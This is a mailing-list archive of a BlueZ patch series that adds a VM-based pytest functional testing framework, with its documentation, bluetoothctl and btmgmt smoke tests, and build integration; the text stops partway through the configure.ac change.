Linux bluetooth development
 help / color / mirror / Atom feed
* [PATCH BlueZ v7 0/9] Functional/integration testing
@ 2026-09-06 16:49 Pauli Virtanen
  2026-09-06 16:49 ` [PATCH BlueZ v7 1/9] doc: add functional/integration testing documentation Pauli Virtanen
                   ` (11 more replies)
  0 siblings, 12 replies; 20+ messages in thread
From: Pauli Virtanen @ 2026-09-06 16:49 UTC (permalink / raw)
  To: linux-bluetooth; +Cc: Pauli Virtanen

Add framework for writing tests simulating "real" environments where
BlueZ and other parts of the stack run on different virtual machine
hosts that communicate with each other.

*** v7 ***

* Bump to pytest-bluezenv==0.1.9 (better core dump / oops reporting)

* Add test/functional/test_adv_monitor.py (one crash POC test)

* Add test/functional/test_avrcp.py (one crash POC test)

  Note that current bluez master branch does not pass this one,
  it is fixed by
  https://patchwork.kernel.org/project/bluetooth/patch/20260901175315.1348621-1-luiz.dentz@gmail.com/

* Add test/functional/test_kernel_testers.py (runs tools/*-tester)

* Bump VMs to 400M memory, ASAN builds on Ubuntu need it

* Make tests fail on core dump / kernel bug

*** v6 ***

* Fix minor issues in documentation and shellcheck warnings.

* Bump to latest pytest-bluezenv==0.1.6

* NOTE: hci_uart is partly broken in current bluetooth-next / 7.1 kernel,
  which causes some of the tests here fail sporadically. Needs the following patch:

  https://lore.kernel.org/linux-bluetooth/6888691461070a011d31632e6dcbfd73016dcc6e.1781364475.git.pav@iki.fi/

*** v5 ***

https://github.com/pv/bluez/compare/func-test-v4-r..func-test-v5

* Factor out the pytest-bluezenv plugin, to be maintained separately.
  https://pypi.org/project/pytest-bluezenv/

  It could in principle be moved under the BlueZ organization, but
  there's no particular reason why it should be in bluez repository.

  Generally, it's better to have the pytest plugin separate so it's
  easier to reuse and can have its own version cycle.

* Pipewire tests are moved to pipewire repository where they probably
  belong to.

  They can be run easily vs. given BlueZ build dir.

  We are currently running them in Pipewire CI, but at frozen
  kernel/BlueZ version, so it is not testing BlueZ/kernel upstream
  development.

* No changes in the emulator/test-runner patches since v4

  They are stand-alone bug fixes / improvements, and make sense
  also separately from the rest.

*** v4 ***

https://github.com/pv/bluez/compare/func-test-v3-r..func-test-v4

* Use virtconsole for simpler HCI forwarding to the vm

* Fix typoed vm_module -> vm_once

* Skip tests for some pipewire versions

*** v3 ***

https://github.com/pv/bluez/compare/func-test-v2-r..func-test-v3

* fix configure.ac openpty() detection to match TOOLS conditional,
  to fix make distcheck

* properly retry virtio RPC connection if it fails initially

* properly restart VM if previous test hangs

* allow custom parent host side proxy objects, use them for pexpect

* improve --list with out-of-tree test files

* fix missing bus.set_exit_on_disconnect(False) for obex tests

* have --vm-timeout etc. change values also on VM host side

* use larger-memory VM instances for Pipewire, in case ASAN enabled

* set reasonable inside-VM ASAN_OPTION default values

* don't run btvirt under stdbuf, since not compatible with ASAN

*** v2 ***

https://github.com/pv/bluez/compare/func-test-v1-r..func-test-v2

* move unit/func_test -> test/functional & test/pytest_bluez

  The pytest_bluez plugin is in principle reusable for other projects,
  so we can eg. have more complete Pipewire integration tests that can
  live in Pipewire repository.

* openpty() is in -lutil on some platforms, detect this in autoconf

* more emulator adjustments:

  - fix SCO data packet support in btvirt
  - more complete Reset command

* improve logging: get timestamps from kernel, and reorder logs
  to timestamp order, so that lines from different hosts, btmon,
  and parent tester appear in right order regardless of whether
  VM console / btmon is lagging

  - this requires accurate clock sync in the VM, so enable KVM PTP in
    config and run chronyd inside the VMs
  - use virtio port instead of qemu console to export logs, since the
    console has fixed baud rate and is too slow

* add --btmon & export btsnoop dumps from VM hosts

* fix compatibility with older Python versions

* add parametrized_host_config()

* split Pipewire test to A2DP/BAP/HFP and really stream audio.
  These catch the 5.86 regression fixed in 066a164a524e498 and
  the 5.84 one in 6b0a08776a

* add support for tests that reuse tester environment, so they can run
  faster without needing Bluetoothd teardown/setup in between

* add HostPlugin.presetup (mainly for test skipping)

* deal with RPC virtio port buffer possibly containing unflushed
  commands from previous failed test

* add some Agent1 interface tests

* add basic Obex file transfer tests

* add support for logging in to a running test instance (for gdb etc)

* export any core dumps out from test environ

Some bells & whistles:

* add --kernel-build for kernel image build

* test suite Python code formatting checks

***

Implements:

- RPC communication with tester instances running each of the VM hosts.
  Tests run on parent host, which instructs VM hosts what to do.

- Extensible way to add stateful test-specific code inside the VM
  instances

- Logging control: output from different processes running inside the VM
  are separated and can be filtered.

- Test runner framework with Pytest (more convenient than Python/unittest)

- Automatic grouping of tests to minimize VM reboots

- Redirecting USB controllers to use for testing in addition to btvirt

- Fairly straightforward, ~1600 sloc for the framework

There is no requirement that the tests spawn VM instances, the test
runner can be used for any tests written in Python.

See doc/test-functional.rst for various examples.

Also test/functional/test_bluetoothctl_vm.py has some simple cases, and
test/functional/test_pipewire.py for a more complicated setup

    host0(qemu): Pipewire <-> BlueZ <-> kernel
    <-> btvirt
    host1(qemu): kernel <-> BlueZ <-> Pipewire

The framework allows easily passing any data and code between the parent
and VM hosts, so writing tests is straightforward.

Pauli Virtanen (9):
  doc: add functional/integration testing documentation
  test: add functional/integration testing framework
  build: add functional testing target
  test: functional: impose Python code formatting
  test: functional: add some Agent1 interface tests
  test: functional: add basic obex file transfer tests
  test: functional: add tests running the various kernel testers
  test: functional: add test for adv_monitor crash
  test: functional: add test for AVRCP crash

 Makefile.am                            |  10 +
 configure.ac                           |  22 ++
 doc/test-functional.rst                | 331 +++++++++++++++++++++++++
 test/functional/__init__.py            |   2 +
 test/functional/conftest.py            |  76 ++++++
 test/functional/requirements.txt       |   3 +
 test/functional/test_adv_monitor.py    | 123 +++++++++
 test/functional/test_agent.py          |  47 ++++
 test/functional/test_avrcp.py          | 281 +++++++++++++++++++++
 test/functional/test_bluetoothctl.py   | 161 ++++++++++++
 test/functional/test_btmgmt.py         |  34 +++
 test/functional/test_kernel_testers.py | 178 +++++++++++++
 test/functional/test_obex.py           | 275 ++++++++++++++++++++
 test/functional/test_tests.py          |  24 ++
 test/pytest.ini                        |  25 ++
 test/test-functional                   |  21 ++
 test/test-functional-attach            |   7 +
 17 files changed, 1620 insertions(+)
 create mode 100644 doc/test-functional.rst
 create mode 100644 test/functional/__init__.py
 create mode 100644 test/functional/conftest.py
 create mode 100644 test/functional/requirements.txt
 create mode 100644 test/functional/test_adv_monitor.py
 create mode 100644 test/functional/test_agent.py
 create mode 100644 test/functional/test_avrcp.py
 create mode 100644 test/functional/test_bluetoothctl.py
 create mode 100644 test/functional/test_btmgmt.py
 create mode 100644 test/functional/test_kernel_testers.py
 create mode 100644 test/functional/test_obex.py
 create mode 100644 test/functional/test_tests.py
 create mode 100644 test/pytest.ini
 create mode 100755 test/test-functional
 create mode 100755 test/test-functional-attach

-- 
2.55.0


^ permalink raw reply	[flat|nested] 20+ messages in thread

* [PATCH BlueZ v7 1/9] doc: add functional/integration testing documentation
  2026-09-06 16:49 [PATCH BlueZ v7 0/9] Functional/integration testing Pauli Virtanen
@ 2026-09-06 16:49 ` Pauli Virtanen
  2026-09-06 18:29   ` Functional/integration testing bluez.test.bot
  2026-09-06 16:49 ` [PATCH BlueZ v7 2/9] test: add functional/integration testing framework Pauli Virtanen
                   ` (10 subsequent siblings)
  11 siblings, 1 reply; 20+ messages in thread
From: Pauli Virtanen @ 2026-09-06 16:49 UTC (permalink / raw)
  To: linux-bluetooth; +Cc: Pauli Virtanen

Add documentation for functional/integration test suite.
---
 doc/test-functional.rst | 331 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 331 insertions(+)
 create mode 100644 doc/test-functional.rst

diff --git a/doc/test-functional.rst b/doc/test-functional.rst
new file mode 100644
index 000000000..e23b1eeb9
--- /dev/null
+++ b/doc/test-functional.rst
@@ -0,0 +1,331 @@
+===============
+test-functional
+===============
+
+**test-functional** [*OPTIONS*]
+
+DESCRIPTION
+===========
+
+**test-functional(1)** is used for functional testing of BlueZ and
+kernel using multiple virtual machine environments, connected by real
+or virtual controllers.
+
+It uses https://pypi.org/project/pytest-bluezenv as VM-based test
+framework. For details, see its documentation.
+
+QUICK EXAMPLE
+=============
+
+Install `qemu-system-x86_64` first. Then,
+
+.. code-block::
+
+   $ python3 -mpip install -r test/functional/requirements.txt
+   $ ./configure --enable-functional-testing --enable-testing --enable-tools
+   $ make -j8
+   $ test/test-functional --kernel-build -v
+
+Or, if you already have a kernel image:
+
+.. code-block::
+
+   $ test/test-functional --kernel /pathto/bzImage -v
+
+OPTIONS
+=======
+
+The `test-functional` script simply runs `Pytest
+<https://pytest.org>`__ which can take the following options:
+https://docs.pytest.org/en/stable/reference/reference.html#command-line-flags
+
+The following additional options apply:
+
+``--list``
+	Output brief lists of existing tests.
+
+``--kernel=<image>``
+        Kernel image (or built Linux source tree root) to
+	use.  See **test-runner(1)** and `tester.config` for required
+	kernel config.
+
+	If not provided, value from `FUNCTIONAL_TESTING_KERNEL`
+	environment variable is used. If none, no image is used.
+
+``--usb=hci0,hci1``
+        USB controllers to use in tests that require use of
+	real controllers.
+
+	If not provided, value from `FUNCTIONAL_TESTING_CONTROLLERS`
+	environment variable is used. If none, all USB controllers
+	with suitable permissions are considered.
+
+``--force-usb``
+        Force tests to use USB controllers instead of `btvirt`.
+
+``--bluez-build-dir=<path>``
+        Path to build directory where to search for BlueZ
+        executables.
+
+``--bluez-src-dir=<path>``
+        Path to build BlueZ source directory.
+
+``--log-filter=[+-]<pattern>,[+-]<pattern>,...``
+        Allow/deny lists
+	for filtering logging output. The pattern is a shell glob matching
+	to the logger names.
+
+``--no-log-reorder``
+	Don't reorder logs to timestamp order.
+
+``--vm-timeout=<seconds>``
+        Specify timeout for communication with VM hosts.
+
+``--btmon``
+        Launch btmon on all hosts to log events, and dump traffic to
+	test-bluezenv-\*.btsnoop
+
+``--kernel-build=no/use/auto/force``
+        Build a suitable kernel image from source.
+
+``--kernel-upstream=<GIT_URL>``
+        URL for Git clone of kernel sources.
+
+``--kernel-branch=<GIT_BRANCH>``
+        Git branch to build from.
+
+
+Tests that require kernel image or USB controllers are skipped if none
+are available. Normally, tests use `btvirt`.
+
+VM instances share a directory ``/run/shared`` with host machine,
+located on host usually in ``/tmp/bluez-func-test-*/shared-*``.  Core
+dumps etc. are copied out from it before test instance is shut down.
+
+REQUIREMENTS
+============
+
+General
+-------
+
+The following are needed:
+
+- QEmu (x86_64)
+- ``dbus-daemon`` available
+
+Recommended:
+
+- KVM-enabled x86_64 host system
+- Preferably built BlueZ source tree
+- ``chronyd`` available
+- ``util-linux`` tools available
+- ``agetty`` available
+
+Python
+------
+
+The following Python packages are required:
+
+.. code-block::
+
+	pytest>=8
+	pytest-bluezenv==0.1.6
+
+To install them via pip::
+
+	python3 -m pip install -r test/functional/requirements.txt
+
+On Fedora / RHEL, the dependencies aside from `pytest-bluezenv` can be
+installed via::
+
+	sudo dnf install python3-pytest python3-pexpect python3-dbus
+
+Kernel
+------
+
+The **test-functional(1)** tool requires a kernel image with similar
+config as **test-runner(1)**.  If given `--kernel-build` option, a
+suitable image is built from sources downloaded under
+`test/.pytest_cache`.
+
+Simplest setup is
+
+.. code-block::
+
+	cp ../bluez/doc/tester.config .config
+	make olddefconfig
+	make -j8
+
+To get log timestamps right, the kernel should have the following
+configuration enabled:
+
+.. code-block::
+
+	CONFIG_HYPERVISOR_GUEST=y
+	CONFIG_PARAVIRT=y
+	CONFIG_KVM_GUEST=y
+
+	CONFIG_PTP_1588_CLOCK=y
+	CONFIG_PTP_1588_CLOCK_KVM=y
+	CONFIG_PTP_1588_CLOCK_VMCLOCK=y
+
+USB
+---
+
+Some tests may require a hardware controller instead of the virtual `btvirt` one.
+
+EXAMPLES
+========
+
+Run all tests
+-------------
+
+.. code-block::
+
+	$ test/test-functional --kernel=/pathto/bzImage
+
+	$ export FUNCTIONAL_TESTING_KERNEL=/pathto/bzImage
+	$ test/test-functional
+
+Test output is logged in ``test-functional.log``.
+
+Show output during run
+----------------------
+
+.. code-block::
+
+	$ test/test-functional --log-cli-level=0
+
+Show only specific loggers:
+
+.. code-block::
+
+	$ test/test-functional --log-cli-level=0 --log-filter=rpc,host
+
+	$ test/test-functional --log-cli-level=0 --log-filter=*.bluetoothctl
+
+Filter out loggers:
+
+.. code-block::
+
+	$ test/test-functional --log-cli-level=0 --log-filter=-host
+
+	$ test/test-functional --log-cli-level=0 --log-filter=host,-host.*.1
+
+Run selected tests
+------------------
+
+.. code-block::
+
+	$ test/test-functional test/functional/test_cli_simple.py::test_bluetoothctl_script_show
+
+	$ test/test-functional -k test_bluetoothctl_script_show
+
+	$ test/test-functional -k 'test_btmgmt or test_bluetoothctl'
+
+	$ test/test-functional -k 'not btmgmt'
+
+Don't run tests with a given marker (see `test/pytest.ini` for defined markers):
+
+.. code-block::
+
+	$ test/test-functional -m "not tester"
+
+To exclude kernel testers from the run.
+E.g. run only security advisory regression tests:
+
+.. code-block::
+
+	$ test/test-functional -m sa
+
+Don't run known-failing tests:
+
+.. code-block::
+
+	$ test/test-functional -m "not xfail"
+
+Note that otherwise known-failing tests would be run, but with
+failures suppressed.
+
+Run previously failed and stop on failure
+-----------------------------------------
+
+.. code-block::
+
+	$ test/test-functional -x --ff
+
+List all tests
+--------------
+
+.. code-block::
+
+	$ test/test-functional --list
+
+This can be combined with the test selection options above.
+
+Show errors from know-failing test
+----------------------------------
+
+.. code-block::
+
+	$ test/test-functional --runxfail -k test_btmgmt_info
+
+Redirect USB devices
+--------------------
+
+.. code-block::
+
+	$ test/test-functional --usb=hci0,hci1
+
+	$ export FUNCTIONAL_TESTING_CONTROLLERS=hci0,hci1
+	$ test/test-functional -vv
+
+This does not require running as root. Changing device permissions is
+sufficient. In verbose mode (``-vv``) some instructions are printed.
+
+Tests will still prefer using emulated btvirt controller when
+possible.  To force all tests use the USB controllers:
+
+.. code-block::
+
+	$ test/test-functional --usb=hci0,hci1 --force-usb
+
+Run tests in parallel
+---------------------
+
+pytest-xdist is required for parallel execution. To run:
+
+.. code-block::
+
+	$ test/test-functional -n auto --dist loadgroup
+
+Logging in to a test VM instance
+--------------------------------
+
+While test is running:
+
+.. code-block::
+
+	$ test/test-functional-attach
+
+For this to be useful, usually, you need to pause the test
+e.g. by running with ``--trace`` option.
+
+To do it manually, when starting the tester will log a line like::
+
+	TTY: socat /tmp/bluez-func-test-q658swgi/bluez-func-test-tty-0 STDIO,rawer
+
+with the location of the socket where the serial is connected to.
+
+WRITING TESTS
+=============
+
+The functional tests are written in files (test modules) names
+`test/functional/test_*.py`.  They are written using standard Pytest
+style.  See https://docs.pytest.org/en/stable/getting-started.html
+
+See https://pypi.org/project/pytest-bluezenv/ for documentation of
+how to write VM-using tests.
+
+Use `Black <https://black.readthedocs.io/en/stable/>`__ to autoformat
+Python test code.
-- 
2.55.0


^ permalink raw reply related	[flat|nested] 20+ messages in thread

* [PATCH BlueZ v7 2/9] test: add functional/integration testing framework
  2026-09-06 16:49 [PATCH BlueZ v7 0/9] Functional/integration testing Pauli Virtanen
  2026-09-06 16:49 ` [PATCH BlueZ v7 1/9] doc: add functional/integration testing documentation Pauli Virtanen
@ 2026-09-06 16:49 ` Pauli Virtanen
  2026-09-06 16:49 ` [PATCH BlueZ v7 3/9] build: add functional testing target Pauli Virtanen
                   ` (9 subsequent siblings)
  11 siblings, 0 replies; 20+ messages in thread
From: Pauli Virtanen @ 2026-09-06 16:49 UTC (permalink / raw)
  To: linux-bluetooth; +Cc: Pauli Virtanen

Add framework for writing tests simulating "real" environments where
BlueZ and other parts of the stack run on different virtual machine
hosts that communicate with each other.

Add some smoke tests for bluetoothctl and btmgmt.

The implementation for the VM setup is maintained separately in the
pytest-bluezenv plugin, https://pypi.org/project/pytest-bluezenv

Implements:

- RPC communication with tester instances running each of the VM hosts,
  so that tests can be written on the parent host which coordinates the
  execution.

- Extensible way to add stateful test-specific code inside the VM
  instances

- Logging control: output from different processes running inside the VM
  are separated and can be filtered.

- Test runner framework with Pytest, factored into a pytest plugin

- Grouping tests to minimize VM reboots

- Redirecting USB controllers to use for testing

There is no requirement that the tests spawn VM instances.
---
 test/functional/__init__.py          |   2 +
 test/functional/conftest.py          |  58 ++++++++++
 test/functional/requirements.txt     |   2 +
 test/functional/test_bluetoothctl.py | 161 +++++++++++++++++++++++++++
 test/functional/test_btmgmt.py       |  34 ++++++
 test/pytest.ini                      |  23 ++++
 test/test-functional                 |  21 ++++
 test/test-functional-attach          |   7 ++
 8 files changed, 308 insertions(+)
 create mode 100644 test/functional/__init__.py
 create mode 100644 test/functional/conftest.py
 create mode 100644 test/functional/requirements.txt
 create mode 100644 test/functional/test_bluetoothctl.py
 create mode 100644 test/functional/test_btmgmt.py
 create mode 100644 test/pytest.ini
 create mode 100755 test/test-functional
 create mode 100755 test/test-functional-attach

diff --git a/test/functional/__init__.py b/test/functional/__init__.py
new file mode 100644
index 000000000..fe1c85178
--- /dev/null
+++ b/test/functional/__init__.py
@@ -0,0 +1,2 @@
+# -*- coding: utf-8; mode: python; eval: (blacken-mode); -*-
+# SPDX-License-Identifier: GPL-2.0-or-later
diff --git a/test/functional/conftest.py b/test/functional/conftest.py
new file mode 100644
index 000000000..bd26b7e4f
--- /dev/null
+++ b/test/functional/conftest.py
@@ -0,0 +1,58 @@
+# -*- coding: utf-8; mode: python; eval: (blacken-mode); -*-
+# SPDX-License-Identifier: GPL-2.0-or-later
+import os
+import re
+from pathlib import Path
+
+
+def pytest_addoption(parser):
+    parser.addoption(
+        "--list",
+        action="store_true",
+        default=None,
+        help=("List tests"),
+    )
+
+
+def pytest_configure(config):
+    if config.option.list:
+        config.option.reportchars = "A"
+        config.option.no_header = True
+        config.option.verbose = -2
+
+
+COLLECT_ERRORS = []
+
+
+def pytest_collectreport(report):
+    if report.outcome != "passed":
+        COLLECT_ERRORS.append((report.outcome, report.fspath))
+
+
+def pytest_collection_finish(session):
+    if session.config.option.list:
+        cwd = Path(".").resolve()
+        root = session.config.rootpath.absolute()
+
+        regex = re.compile(r"\[.*")
+        names = set(
+            (root.joinpath(item.location[0]), regex.sub("", item.location[2]))
+            for item in session.items
+        )
+
+        for path, name in sorted(names):
+            print(f"{path.resolve().relative_to(cwd, walk_up=True)}::{name}")
+        for outcome, name in COLLECT_ERRORS:
+            print(f"{outcome.upper()} {name}")
+        print()
+        os._exit(0)
+
+
+@pytest.hookimpl()
+def pytest_collection_modifyitems(session, config, items):
+    for item in items:
+        callspec = getattr(item, "callspec", None)
+
+        # Add vm mark to VM-using tests
+        if callspec is not None and callspec.params.get("vm_setup", None) is not None:
+            item.add_marker(pytest.mark.vm)
diff --git a/test/functional/requirements.txt b/test/functional/requirements.txt
new file mode 100644
index 000000000..e0e3bfee6
--- /dev/null
+++ b/test/functional/requirements.txt
@@ -0,0 +1,2 @@
+pytest>=8
+pytest-bluezenv==0.1.9
diff --git a/test/functional/test_bluetoothctl.py b/test/functional/test_bluetoothctl.py
new file mode 100644
index 000000000..e8c813a7a
--- /dev/null
+++ b/test/functional/test_bluetoothctl.py
@@ -0,0 +1,161 @@
+# -*- coding: utf-8; mode: python; eval: (blacken-mode); -*-
+# SPDX-License-Identifier: GPL-2.0-or-later
+"""
+Tests for bluetoothctl using VM instances
+"""
+
+import sys
+import re
+import pytest
+import subprocess
+import tempfile
+import warnings
+
+import time
+import logging
+
+
+from pytest_bluezenv import host_config, find_exe, run, Bluetoothd, Bluetoothctl
+
+pytestmark = [pytest.mark.vm]
+
+
+@pytest.fixture
+def bluetoothctl():
+    try:
+        return find_exe("client", "bluetoothctl")
+    except FileNotFoundError:
+        pytest.skip("bluetoothctl not found")
+
+
+bluetoothd_reuse_config = host_config([Bluetoothd()], reuse=True)
+
+
+@host_config(
+    [Bluetoothctl()],
+    [Bluetoothctl()],
+)
+def test_bluetoothctl_pair_bredr(hosts):
+    host0, host1 = hosts
+
+    host0.bluetoothctl.send("scan on\n")
+    host0.bluetoothctl.expect(f"Controller {host0.bdaddr.upper()} Discovering: yes")
+
+    host1.bluetoothctl.send("pairable on\n")
+    host1.bluetoothctl.expect("Changing pairable on succeeded")
+    host1.bluetoothctl.send("discoverable on\n")
+    host1.bluetoothctl.expect(f"Controller {host1.bdaddr.upper()} Discoverable: yes")
+
+    host0.bluetoothctl.expect(f"Device {host1.bdaddr.upper()}")
+    host0.bluetoothctl.send(f"pair {host1.bdaddr}\n")
+
+    idx, m = host0.bluetoothctl.expect(r"Confirm passkey (\d+).*:")
+    key = m[0].decode("utf-8")
+
+    host1.bluetoothctl.expect(f"Confirm passkey {key}")
+
+    host0.bluetoothctl.send("yes\n")
+    host1.bluetoothctl.send("yes\n")
+
+    host0.bluetoothctl.expect("Pairing successful")
+
+
+@host_config(
+    [Bluetoothd(conf="[General]\nControllerMode = le\n"), Bluetoothctl()],
+    [Bluetoothd(conf="[General]\nControllerMode = le\n"), Bluetoothctl()],
+)
+def test_bluetoothctl_pair_le(hosts):
+    host0, host1 = hosts
+
+    host0.bluetoothctl.send("scan on\n")
+    host0.bluetoothctl.expect(f"Controller {host0.bdaddr.upper()} Discovering: yes")
+
+    host1.bluetoothctl.send("advertise on\n")
+    host1.bluetoothctl.expect("Advertising object registered")
+
+    host0.bluetoothctl.expect(f"Device {host1.bdaddr.upper()}")
+    host0.bluetoothctl.send(f"pair {host1.bdaddr.upper()}\n")
+
+    # BUG!: if controller is power cycled off/on at boot (before bluetoothd)
+    # BUG!: which is what the tester here does,
+    # BUG!: bluetoothd MGMT command to enable Secure Connections Host Support
+    # BUG!: fails and we are left with legacy passkey. It seems we get randomly
+    # BUG!: one of these depending on what state controller/kernel were before
+    # BUG!: btmgmt power off/on
+
+    idx, m = host0.bluetoothctl.expect(
+        [r"\[agent\].*Passkey:.*m(\d+)", r"Confirm passkey (\d+).*:"]
+    )
+    key = m[0].decode("utf-8")
+
+    if idx == 0:
+        warnings.warn(
+            "BUG: we got passkey authentication, bluetoothd/kernel should be fixed"
+        )
+        host1.bluetoothctl.expect(r"\[agent\] Enter passkey \(number in 0-999999\):")
+        host1.bluetoothctl.send(f"{key}\n")
+    else:
+        host1.bluetoothctl.expect(f"Confirm passkey {key}")
+
+        host0.bluetoothctl.send("yes\n")
+        host1.bluetoothctl.send("yes\n")
+
+    host0.bluetoothctl.expect("Pairing successful")
+
+
+def run_bluetoothctl(*args):
+    bluetoothctl = find_exe("client", "bluetoothctl")
+    return run(
+        [bluetoothctl] + list(args),
+        stdout=subprocess.PIPE,
+        stdin=subprocess.DEVNULL,
+        encoding="utf-8",
+    )
+
+
+def run_bluetoothctl_script(script):
+    with tempfile.NamedTemporaryFile(mode="w", encoding="utf-8") as f:
+        f.write(script)
+        f.write("\nquit")
+        f.flush()
+        return run_bluetoothctl("--init-script", f.name)
+
+
+@bluetoothd_reuse_config
+def test_bluetoothctl_show(hosts, bluetoothctl):
+    (host,) = hosts
+
+    result = host.call(run_bluetoothctl, f"show")
+    assert result.returncode == 0
+    assert f"Controller {host.bdaddr.upper()}" in result.stdout
+    assert "Powered: " in result.stdout
+    assert "Discoverable: no" in result.stdout
+
+
+@bluetoothd_reuse_config
+def test_bluetoothctl_list(hosts, bluetoothctl):
+    (host,) = hosts
+
+    result = host.call(run_bluetoothctl, "list")
+    assert result.returncode == 0
+    assert re.search(rf"{host.bdaddr.upper()}.*\[default\]", result.stdout)
+
+
+@bluetoothd_reuse_config
+def test_bluetoothctl_script_show(hosts, bluetoothctl):
+    (host,) = hosts
+
+    result = host.call(run_bluetoothctl_script, f"show")
+    assert result.returncode == 0
+    assert f"Controller {host.bdaddr.upper()}" in result.stdout
+    assert "Powered: " in result.stdout
+    assert "Discoverable: no" in result.stdout
+
+
+@bluetoothd_reuse_config
+def test_bluetoothctl_script_list(hosts, bluetoothctl):
+    (host,) = hosts
+
+    result = host.call(run_bluetoothctl_script, f"list")
+    assert result.returncode == 0
+    assert re.search(rf"{host.bdaddr.upper()}.*\[default\]", result.stdout)
diff --git a/test/functional/test_btmgmt.py b/test/functional/test_btmgmt.py
new file mode 100644
index 000000000..00cf3c18c
--- /dev/null
+++ b/test/functional/test_btmgmt.py
@@ -0,0 +1,34 @@
+# -*- coding: utf-8; mode: python; eval: (blacken-mode); -*-
+# SPDX-License-Identifier: GPL-2.0-or-later
+"""
+Tests for btmgmt using VM instances
+"""
+
+import sys
+import pytest
+import subprocess
+import tempfile
+
+from pytest_bluezenv import host_config, find_exe, run
+
+pytestmark = [pytest.mark.vm]
+
+
+@host_config([])
+def test_btmgmt_info(hosts):
+    (host,) = hosts
+
+    try:
+        btmgmt = find_exe("tools", "btmgmt")
+    except FileNotFoundError:
+        pytest.skip("btmgmt not found")
+
+    result = host.call(
+        run,
+        [btmgmt, "--index", "0", "info"],
+        stdout=subprocess.PIPE,
+        stdin=subprocess.DEVNULL,
+        encoding="utf-8",
+    )
+    assert result.returncode == 0
+    assert f"addr {host.bdaddr.upper()}" in result.stdout
diff --git a/test/pytest.ini b/test/pytest.ini
new file mode 100644
index 000000000..92820e819
--- /dev/null
+++ b/test/pytest.ini
@@ -0,0 +1,23 @@
+[pytest]
+log_format = %(asctime)s %(levelname)-6s %(name)-20s:  %(message)s
+log_date_format = %Y-%m-%d %H:%M:%S.%f
+log_level = 0
+log_file = test-functional.log
+markers =
+    vm: tests requiring VM image
+
+addopts =
+    -p pytest_bluezenv
+
+# Default timeout
+vm_timeout = 45
+vm_mem = 400M
+
+# Default sources for kernel-build when requested
+kernel_upstream = https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/
+kernel_branch = master
+
+filterwarnings =
+    error::pytest_bluezenv.KernelBugWarning
+    error::pytest_bluezenv.SanitizerWarning
+    error::pytest_bluezenv.CoredumpWarning
diff --git a/test/test-functional b/test/test-functional
new file mode 100755
index 000000000..95f5c57e9
--- /dev/null
+++ b/test/test-functional
@@ -0,0 +1,21 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+#
+# See doc/test-functional.rst
+#
+TESTDIR="$(dirname "$0")"
+SRCDIR="$TESTDIR/.."
+
+BUILDDIR=
+for d in "$SRCDIR" "$SRCDIR/build" "$SRCDIR/builddir"; do
+    if [ -f "$d/src/bluetoothd" ]; then
+        BUILDDIR="$d"
+        break
+    fi
+done
+
+if [ -n "$BUILDDIR" ] && [ -d "$BUILDDIR" ]; then
+    exec python3 -m pytest "$TESTDIR/functional" --bluez-src-dir "$SRCDIR" --bluez-build-dir "$BUILDDIR" "$@"
+else
+    exec python3 -m pytest "$TESTDIR/functional" --bluez-src-dir "$SRCDIR" "$@"
+fi
diff --git a/test/test-functional-attach b/test/test-functional-attach
new file mode 100755
index 000000000..6e65464f7
--- /dev/null
+++ b/test/test-functional-attach
@@ -0,0 +1,7 @@
+#!/bin/sh
+#
+# test-functional-attach
+#
+# Start Tmux and connect to active test-functional VM hosts.
+#
+exec python3 -mpytest_bluezenv attach "$@"
-- 
2.55.0


^ permalink raw reply related	[flat|nested] 20+ messages in thread

* [PATCH BlueZ v7 3/9] build: add functional testing target
  2026-09-06 16:49 [PATCH BlueZ v7 0/9] Functional/integration testing Pauli Virtanen
  2026-09-06 16:49 ` [PATCH BlueZ v7 1/9] doc: add functional/integration testing documentation Pauli Virtanen
  2026-09-06 16:49 ` [PATCH BlueZ v7 2/9] test: add functional/integration testing framework Pauli Virtanen
@ 2026-09-06 16:49 ` Pauli Virtanen
  2026-09-06 16:49 ` [PATCH BlueZ v7 4/9] test: functional: impose Python code formatting Pauli Virtanen
                   ` (8 subsequent siblings)
  11 siblings, 0 replies; 20+ messages in thread
From: Pauli Virtanen @ 2026-09-06 16:49 UTC (permalink / raw)
  To: linux-bluetooth; +Cc: Pauli Virtanen

This adds check-functional: target that runs the functional test suite.

Also add a --enable-functional-testing=<kernel-image> argument for
configure that can be used to include it in the check: make target,
possibly with a predefined kernel image.
---
 Makefile.am  | 10 ++++++++++
 configure.ac | 22 ++++++++++++++++++++++
 2 files changed, 32 insertions(+)

diff --git a/Makefile.am b/Makefile.am
index 723210f93..e152ead0a 100644
--- a/Makefile.am
+++ b/Makefile.am
@@ -857,6 +857,16 @@ endif
 TESTS = $(unit_tests)
 AM_TESTS_ENVIRONMENT = MALLOC_CHECK_=3 MALLOC_PERTURB_=69
 
+check-functional: all
+	python3 -m pytest "$(srcdir)/test/functional" -v \
+		--kernel="$(FUNCTIONAL_TESTING_KERNEL)" \
+		--bluez-build-dir="$(top_builddir)" \
+		--bluez-src-dir="$(srcdir)"
+
+if FUNCTIONAL_TESTING
+check: check-functional
+endif
+
 if DBUS_RUN_SESSION
 AM_TESTS_ENVIRONMENT += dbus-run-session --
 endif
diff --git a/configure.ac b/configure.ac
index b011e9b0a..b1354d7f8 100644
--- a/configure.ac
+++ b/configure.ac
@@ -407,6 +407,28 @@ if (test "${enable_testing}" = "yes"); then
 		#include <linux/net_tstamp.h>]])
 fi
 
+AC_ARG_ENABLE(functional-testing, AS_HELP_STRING([--enable-functional-testing],
+			[enable functional testing tools]),
+			[enable_functional_testing=yes; functional_testing_kernel=${enableval}],
+                        [enable_functional_testing=no])
+AM_CONDITIONAL(FUNCTIONAL_TESTING, test "${enable_functional_testing}" = "yes")
+AC_ARG_VAR(FUNCTIONAL_TESTING_KERNEL, [vmlinux image to use for functional testing])
+FUNCTIONAL_TESTING_KERNEL=${functional_testing_kernel}
+
+if (test "${enable_functional_testing}" = "yes"); then
+  if (test "${enable_client}" = "no" || \
+      test "${enable_tools}" != "yes" || \
+      test "${enable_testing}" != "yes"); then
+    AC_MSG_ERROR([--enable-functional-testing requires --enable-client --enable-tools --enable-testing])
+  fi
+  AC_MSG_CHECKING([pytest and dependencies])
+  python3 -m pip install --dry-run --no-index -r "${srcdir}/test/functional/requirements.txt" >/dev/null
+  if (test "$?" != "0"); then
+    AC_MSG_ERROR([pytest or dependencies missing])
+  fi
